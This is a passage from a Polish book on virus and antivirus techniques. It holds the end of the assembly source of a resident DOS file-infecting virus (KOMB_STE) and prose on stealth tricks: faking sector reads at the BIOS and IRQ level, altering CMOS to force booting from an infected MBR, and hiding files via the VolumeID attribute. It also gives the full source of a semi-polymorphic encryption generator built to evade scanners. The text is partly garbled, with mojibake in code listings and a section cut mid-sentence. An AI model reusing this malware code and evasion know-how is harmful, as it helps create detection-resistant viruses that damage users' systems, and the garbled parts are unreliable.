push ds es ax bx dx ; zachowaj zmieniane rejestry
mov ax,3524h ; \ pobierz stara i ustaw
Call StareInt21 ; \ nowa procedure obslugi
mov cs:Stare24Seg,es ; \ przerwania krytycznego
mov cs:Stare24Ofs,bx ; \ INT 24h w celu ochrony
; \ przed ewentulanymi bledami
push cs ; / (np; podczas proby zapisu
pop ds ; / na zabezpieczona przed
lea dx,NoweInt24 ; / zapisem dyskietce nie
mov ax,2524h ; / zostanie wywolany dialog
Call StareInt21 ; / ARIF)
pop dx bx ax es ds ; przywroc zmieniane rejestry
ret ; powroc z wywolania
PrzywrocStare24:
push ds ax dx ; zachowaj zmieniane rejestry
lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /
pop dx ax ds ; przywroc zmieniane rejestry
ret
DrukSI: ; procedura wyswietla tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane rejestry
DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu (znak=NUL) ?
jz DrukPowrot ; TAK - koncz pisanie
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
inc di ; zwieksz indeks (na nastepny znak)
jmp short DrukPetla ; idz po nastepny znak
DrukPowrot:
pop di ax ; przywroc zmieniane rejestry
ret ; powrot
DrukHEX16: ; drukuje liczbe heksalna z AX
push ax ; zachowaj AX (dokladniej AL)
mov al,ah ; najpierw starsza czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX (dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe heksalna z AL
push ax ; zachowaj AX (dokladniej 4 bity AL)
shr al,1 ; \
shr al,1 ; \ podziel AL przez 16
shr al,1 ; / czyli wez 4 starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej
pop ax ; przywroc AX (dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity AL
; i wydrukuj czesc liczby szesnastkowej
DrukHex4:
cmp al,10 ; \ konwersja liczby binarnej
jb Cyfra09 ; \ na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na
Cyfra09: ; / '0'..'9', 'A'..'F'
add al,'0' ; /
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
ret ; powrot
Decyzja: ; \ pobiera z klawiatury
mov ah,0h ; \ znak i sprawdza czy jest
int 16h ; \ to litera 'T'lub 't'
and al,0DFh ; \ jesli tak, ustawia CF=0
cmp al,'T' ; \ jesli nie, ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /
NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania
TeCopyRight db CR,LF,'KOMB_STE v1.0, Autor : Adam Blaszczyk 1997',NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMB_STE w pamieci operacyjnej (T/N) ?',NUL
TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci !',NUL
TeZainstalowany db CR,LF,'_ KOMB_STE zostal zainstalowany w segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL
TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac zainfekowac go wirusem KOMB_STE (T/N) ?',NUL
StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:
Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?
KOMB_STE ends
end start
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth)
Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów; należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać). Aby ustrzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub BOOT-sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13).
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych (ang. hardware level stealth)
W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta polega na przechwyceniu odwołań do dysków już na etapie przerwania sprzętowego IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji (9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym- Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR, zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość MBR.
Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7 (rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja odczytu. Parametry odczytywanego sektora (cylinder, głowicę, sektor) można odczytać z portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus musi wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na inny sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego sektora).
W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego adresu przerwania int 13h, zawartego w BIOS-ie, i tak będzie oszukiwany przez wirusa. Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14 (co można ustawić programowo) przy realizacji operacji dostępu do dysku.
7.2. ModyfikacjaCMOS-a
Nowoczesne BIOS-y zawierają mechanizmy zabezpieczania niektórych newralgicznych sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET.
To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera. Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do podtrzymywanej baterią pamięci CMOS.
Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest konieczne ze względu na kompatybilność).
Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca, jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor, po czym oddaje do niego sterowanie.
Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w CMOS-ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera parametry w CMOS-ie będą najczęściej skasowane. Takie działałanie dość mocno utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi dostanie się do programu SETUP.
7.3. Atrybut etykiet dysku (ang. VolumeID)
Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej wymieniony atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących na zawartości fizycznych sektorów (np. Disk Editor).
Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż niewidzialność zagwarantuje sam system DOS.
7.4. Dodatkowe ścieżki na dyskach
Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi podjąć decyzję, gdzie umieścić wirusa po infekcji.
Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji). Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi. Korzystając z tego, iż większość dysków posiada więcej sektorów niż liczba widziana przez system BIOS, wirusy doformato-wywują sobie dodatkowe używane sektory, po czym je wykorzystują.
kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się MtE, który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur
dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują
dwie poniższe procedury:
> procedura generująca szyfrator (ang. encryptor);
> procedura generująca dekoder (ang. decryptor).
W zależności od ich skomplikowania można wyróżnić wirusy, które
zawierają:
> stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w przypadku wirusów nieszyfrowanych;
> stały szyfrator + zmienny dekoder - raczej rzadko stosowany;
jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę szyfrującą;
> zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej, dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa;
> zmienny szyfrator + zmienny dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda inaczej; są to tzw. wirusy
polimorficzne
ROZDZIAŁ 8
8.1. Procedury szyfrujące kod
Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze, odwracalnych operacji matematycznych lub logicznych, a więc:
> dodawanie - operacja ADD;
> odejmowanie - operacja SUB;
> suma modulo 2 - operacja XOR;
> negowanie arytmetyczne - operacja NEG;
> negowanie logiczne - operacja NOT;
> przesunięcie cykliczne w lewo - operacja ROL;
> przesunięcie cykliczne w prawo - operacja ROR.
Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie licznika lub indeksu jako wartości używanej w wymienionych wyżej operacjach matematycznych i logicznych.
To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji szyfrujących, a następnie w pętli losuje:
> rodzaj operacji wykonywanej na argumencie;
> argumenty operacji;
> rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie
inne).
Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder.
8.2. Procedury dekodujące
Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych zmian operacji, np. ADD-SUB, SUB-ADD. Na przykład, jeżeli procedura szyfrująca wygląda następująco:
MOV CX, IleBajt¾w
MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
XOR byte ptr [BX],12h
ADD byte ptr [BX],34h
NOT byte ptr [BX]
INC BX
LOOP PÛtla,
to procedura dekodująca powinna wyglądać mniej więcej tak:
MOV CX, IleBajt¾w
MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
NOT byte ptr [BX]
SUB byte ptr [BX],34h
XOR byte ptr [BX],12h
INC BX
LOOP PÛtla.
W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w dekoderze (oczywiście można zastosować także operację ADD z przeciwnym argumentem, tzn. -34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą zawsze zgodne ze schematem (dla poprzedniego przykładu):
MOV CX,IleBajt¾w
MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
DEKODUJ [BX] DEKODUJ [BX]
DEKODUJ [BX]
INC BX
LOOP PÛtla,
co dla nowoczesnych skanerów nie stanowi żadnej przeszkody
Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować zmienne, polimorficzne procedury dekodujące.
8.2.1. Polimorficzne procedury dekodujące
Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu. Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych procedur dekodujących.
Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie wykonywalnych sekwencji rozkazów), do jego zaprogramowania niezbędna jest znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników.
Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy.
8.2.1.1. Semi-polimorfizm
Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej sekwencji:
MOV licznik, IleDanych
MOV indeks, Pocz╣tekDanychDoZakodowania
PÛtla:
dekoduj_i [indeks]
DEKODUJ_2 [indeks]
DEKODUJ_N [indeks]
ADD indeks, przyrost
LOOP PÛtla
Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą. Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych wariantów wirusa jest tak naprawdę bardzo ograniczona.
Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR (kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/??).
Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej zapamiętać offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej części kodu (kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami.
W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu. Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM, gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku parametru - domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie procedury Losowy-Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób (bez dodawania losowych skoków pomiędzy instrukcjami).
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; SEMIPOL v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program generuje pliki zakodowane semi-polimorficznie ;
; (pomiedzy wlasciwe instrukcje dekodera sa wstawiane ;
; przypadkowe rozkazy JUMP) ;
; Kompilacja : ;
; TASM /m2 SEMIPOL.ASM ;
; TLINK SEMIPOL.OBJ ;
; ;
;----------------------------------------------------------------------------;
SEMI_POL SEGMENT
ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL
NUL = 00h ; \
TAB = 09h ; \
LF = 0Ah ; \ stale znakowe
CR = 0Dh ; /
SPACE = 20h ; /
DOLAR = '$' ; /
RozmiarStosu equ 200h ; rozmiar stosu
DomyslnieIlePlikow = 10 ; domyslnie generuj 10 plikow
;-----------------------------------------------------------------------------
Start:
Call InicjujSystem ; ustaw zmienne programu
lea si,TeCopyRight ; wyswietl info o programie
Call Druk
Call WezParametry ; wez parametry z linii polecen
lea si,TeGenerator ; wyswietl info o dzialaniu
Call Druk
Call GenerowaniePlikow ; generuj pliki
mov ax,4C00h ; funkcja DOS - powrot do systemu
int 21h ; wywolaj funkcje
;-----------------------------------------------------------------------------
GenerowaniePlikow proc near ; procedura generuje pliki SEMI????.COM
push ds es ax bx cx dx si di ; zachowaj na stosie zmieniane rejestry
mov cx, LiczbaPlikow ; cx=ile plikow do wygenerowania
GenJedenPlik:
push cx ; zachowaj na stosie : ile plikow
lea si,AktualnaNazwaPliku ; \ wyswietl nazwe pliku
Call DrukLn ; /
lea dx,AktualnaNazwaPliku ; sprobuj otworzyc (tworzony) plik
mov ax,3D02h ; funkcja DOS - otworz plik
int 21h ; wywolaj funkcje
jnc WezUchwyt ; CF=0 plik juz istnial, nadpisz go
mov cx,20h ; atrybut pliku tworzonego : Archive
lea dx,AktualnaNazwaPliku ; podaj nazwe tworzonego pliku
mov ah,5Bh ; funkcja DOS - tworz plik
int 21h ; wywolaj funkcje
WezUchwyt:
mov UchwytPliku,ax ; zapamietaj uchwyt pliku
lea si,StartKoduPrzykladowego ; DS:SI - skad brac kod do szyfrowania
lea di,BuforDocelowy ; ES:DI - dokad zapisywac zaszyfrowany kod
mov cx,RozmiarPrzykladowegoKodu ; CX - rozmiar szyfrowanego kodu
Call SemiPol
; CX:=Ile danych do zapisu
lea dx,BuforDocelowy ; skad zapisac dane
mov bx,UchwytPliku ; numer uchwytu
mov ah,40h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje
Call ZwiekszNumerPliku ; SEMI(xxxx) -> SEMI(xxxx+1)
pop cx ; przywroc ze stosu : ile plikow
loop GenJedenPlik ; generuj CX plikow
pop di si dx cx bx ax es ds ; przywroc ze stosu zmieniane rejestry
ret ; powrot z procedury
GenerowaniePlikow endp
;-----------------------------------------------------------------------------
ZwiekszNumerPliku proc near ; zmienia SEMI(xxxx) na SEMI(xxxx+1)
; operuje na lancuchu 'SEMIxxxx'
push cx si ; zachowaj na stosie zmieniane rejestry
mov cx,4 ; CX = ile max. obiegow petli = 4 cyfry
ZwiekszNumerPlikuPetla:
mov si,cx
dec si
inc byte ptr [AktNumPliku+si] ; zwieksz cyfre od konca w SEMIxxxx
cmp byte ptr [AktNumPliku+si],'9'
; czy numer > 9 ?
jbe ZwiekszNumerPlikuPowrot ; nie wiekszy = powrot z procedury
; wiekszy = uwzglednij przeniesienie
mov byte ptr [AktNumPliku+si],'0'
; cyfra : 9->0
loop ZwiekszNumerPlikuPetla ; ewentualnie powtarzaj
ZwiekszNumerPlikuPowrot:
pop si cx ; przywroc ze stosu zmieniane rejestry
ret ; powrot z procedury
ZwiekszNumerPliku endp
;-----------------------------------------------------------------------------
WezParametry proc near ; pobiera parametry z PSP:80h
push ds ; zachowaj DS
mov di,DomyslnieIlePlikow ; DI=ile plikow wygenerowac
mov ds,PSP_Segment ; DS:=PSP
mov si,80h ; DS:SI=PSP:80
lodsw ; DS:SI=PSP:82, AX:=licznik znakow
or al,al ; czy sa jakies znaki w linii polecen ?
jz WezParametryPowrot ; nie = wyjdz z procedury
SzukajCyfry:
lodsb ; wez znak
cmp al,SPACE ; \pomin spacje
je SzukajCyfry ; /
cmp al,TAB ; \pomin tabulator
je SzukajCyfry ; /
mov bx,si ; zachowaj pozycje w lancuchu
SzukajCR: ; szukaj konca ciagu znakow
lodsb ; wez znak
cmp al,CR ; czy koniec lancucha ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,SPACE ; czy spacja ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,TAB ; czy tabulator ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,'0' ; \
jb WezParametryPowrot ; \ czy znak w zakresie
; - '0'..'9'
cmp al,'9' ; / jezeli nie, to blad
ja WezParametryPowrot ; /
jmp short SzukajCR ; wez kolejny znak
LancuchNaLiczbe: ; konwersja lancucha na liczbe
mov cx,si ; wez koniec lancucha
sub cx,bx ; odejmij poczatek lancucha
jcxz WezParametryPowrot ; skocz, gdy nie ma czego konwertowac
cmp cx,4 ; czy liczba > 9999 ?
ja WezParametryPowrot ; skocz, jesli tak
mov bx,1 ; BX zawiera kolejne potegi 10
xor di,di ; DI zawiera aktualna sume
LancuchNaLiczbeLoop:
; znaki czytamy od konca
dec si ; \ SI:=SI-2
dec si ; /
lodsb ; pobierz znak
sub al,'0' ; konwertuj na liczbe z zakresu 0..9
mov ah,0 ; AX=AL
mul bx ; mnoz przez kolejna potege 10
add di,ax ; dodaj do sumy
mov ax,10 ; zwieksz potege 10
mul bx ; pomnoz 10*BX
xchg ax,bx ; BX:=10 do kolejnej potegi
; 1,10,100,1000
loop LancuchNaLiczbeLoop ; konwertuj kolene cyfry
WezParametryPowrot: ; DI zawiera liczbe plikow
pop ds ; przywroc DS ze stosu
mov LiczbaPlikow,di ; przepisz do zmiennej
ret ; powrot z procedury
WezParametry endp
;-----------------------------------------------------------------------------
DrukLn proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI i dodaje Enter
push si ; SI sie zmienia, trzeba zachowac
Call Druk ; najpierw wyswietl tekst
lea si,TeCRLF ; \ a teraz dodaj CR,LF
Call Druk ; /
pop si ; przywroc SI
ret ; powrot z procedury
DrukLn endp
;-----------------------------------------------------------------------------
Druk proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI
push ax ; \ zachowaj zmieniane rejestry
push si ; /
DrukNastepnyZnak:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem
jz DrukPowrot ; tak=koniec napisu, wyjdz z petli
Call DrukZnak ; jezeli nie, to wyswietl (znak w AL)
jmp short DrukNastepnyZnak ; idz po nastepny znak
DrukPowrot: ; tekst wydrukowany
pop si ; \ przywroc zmieniane rejestry
pop ax ; /
ret ; powrot z procedury
Druk endp
;-----------------------------------------------------------------------------
DrukZnak proc near ; procedura wyswietla znak w AL
push ax ; zachowaj zmieniany rejestr
mov ah,0Eh ; funkcja BIOS - wyswietl znak w AL
int 10h ; wywolaj funkcje
pop ax ; przywroc zmieniany rejestr
ret ; powrot z procedury
DrukZnak endp
;-----------------------------------------------------------------------------
InicjujSystem proc near ; ustawia stos, DS, ES itd.
pop bp ; zachowaj adres powrotu z procedury
; bo stos zostanie przeniesiony
mov CS:PSP_Segment,ds ; zapamietaj PSP
mov ax,cs ; \
mov ds,ax ; - CS=DS=ES
mov es,ax ; /
mov ss,ax ; \ stos na koniec programu
lea sp,StosKoniec ; /
cld ; DF=1, zwiekszaj przy operacjach lancuchowych
jmp bp ; powrot z procedury
InicjujSystem endp
;-----------------------------------------------------------------------------
SemiPol:
push ax si di ; zachowaj na stosie zmieniane rejestry
shr cx,1 ; dlugosc/2 bo szyfrujemy slowa
inc cx ; dla pewnosci, ze wszystkie bajty zostana
; zaszyfrowane
mov Semi_IleDanych,cx ; \
mov Semi_Skad,si ; - zachowaj dane
mov Semi_Dokad,di ; /
call PseudoLosowa ; wez przypadkowa liczbe
mov Semi_Losowa,ax ; bedzie jej uzywac szyfrator i deszyfrator
; szyfruj kod
lea di,TMPBufor ; gdzie zapisac szyfrowany kod
Szyfruj:
lodsw ; wez dana
add ax,Semi_Losowa ; szyfruj ja
stosw ; zapisz zaszyfrowana dana
loop Szyfruj ; powtarzaj szyfrowanie
; wpisz "smieci" do bufora
mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)
mov cx,256 ; CX:=AX:=ile slow zapisac (1..256)
Smietnik: ; wypelnianie
Call Pseudolosowa ; wez przypadkowa dana
stosw ; zapisz ja
loop Smietnik ; zapisz "smieci" w buforze
; generuj procedure dekodera
;
; Dekoder ma nastepujaca postac :
;
; mov si,PoczatekDanych BE,????
; mov cx,IleDanych B9,????
; Petla:
; sub [si],Losowa 81,2C,????
; dec cx 49
; jz Koniec 74,??
; jmp Petla E9,????
; Koniec:
;
mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)
call LosowySkok ; wstaw losowy skok
mov al,0BEh ; DEKODER: mov si, ofset Poczaek
stosb ; BE,????
mov Semi_GdziePocz,di ; ofset bedzie wstawiony pozniej
stosw ; zostaw miejsce na ofset
call LosowySkok ; wstaw losowy skok
mov al,0B9h ; DEKODER: mov cx,IleDanych
stosb ; B9,????
mov ax,Semi_IleDanych ; wpisz, ile danych do odszyfrowania
stosw ;
call LosowySkok ; wstaw losowy skok
mov Semi_Petla,di ; DEKODER: sub [si],Losowa
mov ax,2C81h ; pierwsza czesc rozkazu
stosw
mov ax,Semi_Losowa ; zapisz wartosc dekodujaca
stosw ; zaszyfrowany program
call LosowySkok ; wstaw losowy skok
mov al,46h ; DEKODER: inc si
stosb
call LosowySkok ; wstaw losowy skok
mov al,46h ; DEKODER: inc si
stosb
call LosowySkok ; wstaw losowy skok
mov al,49h ; DEKODER: dec cx
stosb
call LosowySkok ; wstaw losowy skok
mov al,74h ; DEKODER: JZ ??
stosb ; wstaw pierwsza czesc rozkazu
mov Semi_DokadJZ,di ; zostanie ustawione pozniej
stosb ; zostaw miejsce na ofset
call LosowySkok ; wstaw losowy skok
mov al,0E9h ; DEKODER: JNZ -> JMP z powrotem
stosb ; wstaw E9
mov ax,Semi_Petla ; oblicz ofset do DEKODER : Petla:
sub ax,di ;
sub ax,2 ; odejmij dlugosc operandu w E9,????
stosw ;
mov bx,Semi_DokadJZ ; oblicz ofset do DEKODER : Koniec:
mov ax,di ; i wstaw go pod wczesniej zapamietany
sub ax,bx ; ofset
dec ax ; odejmij dlugosc operandu w 74,??
mov [bx],al ;
mov bx,Semi_GdziePocz ; oblicz ofset, gdzie zaczynaja
mov ax,di ; sie dane przeznaczone do deszyfrowania
sub ax,Semi_Dokad ; z uwzglednieneim ofsetu dla
add ax,100h ; pliku COM (ORG 100h)
mov [bx],ax ; i zapisz pod zapamietany adres
mov cx,Semi_IleDanych ; ile danych do kopiowania
lea si,TMPBufor ; pobieraj z bufora zawierajacego
rep movsw ; zaszyfrowany kod i kopiuj na koniec
mov cx,di ; oblicz, ile danych do zapisu, czyli
sub cx,Semi_Dokad ; wartosc zwracana przez procedure
pop di si ax ; przywroc zapamietane rejestry
ret ; powrot z procedury
;-----------------------------------------------------------------------------
LosowySkok: ; wstawia losowy skok
mov ax,15 ; zakres skokow 1..15
Call PseudolosowaAX ; losuj z zakresu 1..15
mov ah,al ;
mov al,0EBh ; AX=skok,EB
stosw ; zapisz EB,skok
mov al,ah ;
mov ah,0 ; AX:=AL=skok
add di,ax ; dodaj do di
ret ; powrot z procedury
Semi_IleDanych dw ? ; \ potrzebne do chwilowego
Semi_Skad dw ? ; - zachowania roznych wartosci
Semi_Dokad dw ? ; /
Semi_Losowa dw ? ; wartosc szyfrujaca kod
Semi_GdziePocz dw ? ; \ adresy do zmiennych nieznanych
Semi_Petla dw ? ; \ w momencie, kiedy sa potrzebne
Semi_DokadJZ dw ? ; / aby mozna bylo je pozniej
; / zmienic
PseudoZarodek dw ? ; \ aktualny zarodek generatora liczb
; / pseudolosowych
TMPBufor db 256 dup(?) ; \ rozmiar tymczasowego bufora
; - = 256 bajtow, (o rozmiarze co najmniej
; / rownym dlugosci kodu wirusa)
;-----------------------------------------------------------------------------
PseudoLosowa: ; generuje liczbe pseudolosowa
; z zakresu 1..65535
mov ax,0FFFFh
PseudoLosowaAX: ; przedzial w AX
push dx ; zachowaj na chwile DX
Call ZmienPseudoZarodek ; zmien zarodek
mul PseudoZarodek ; DX:AX:=przedzial*Zarodek
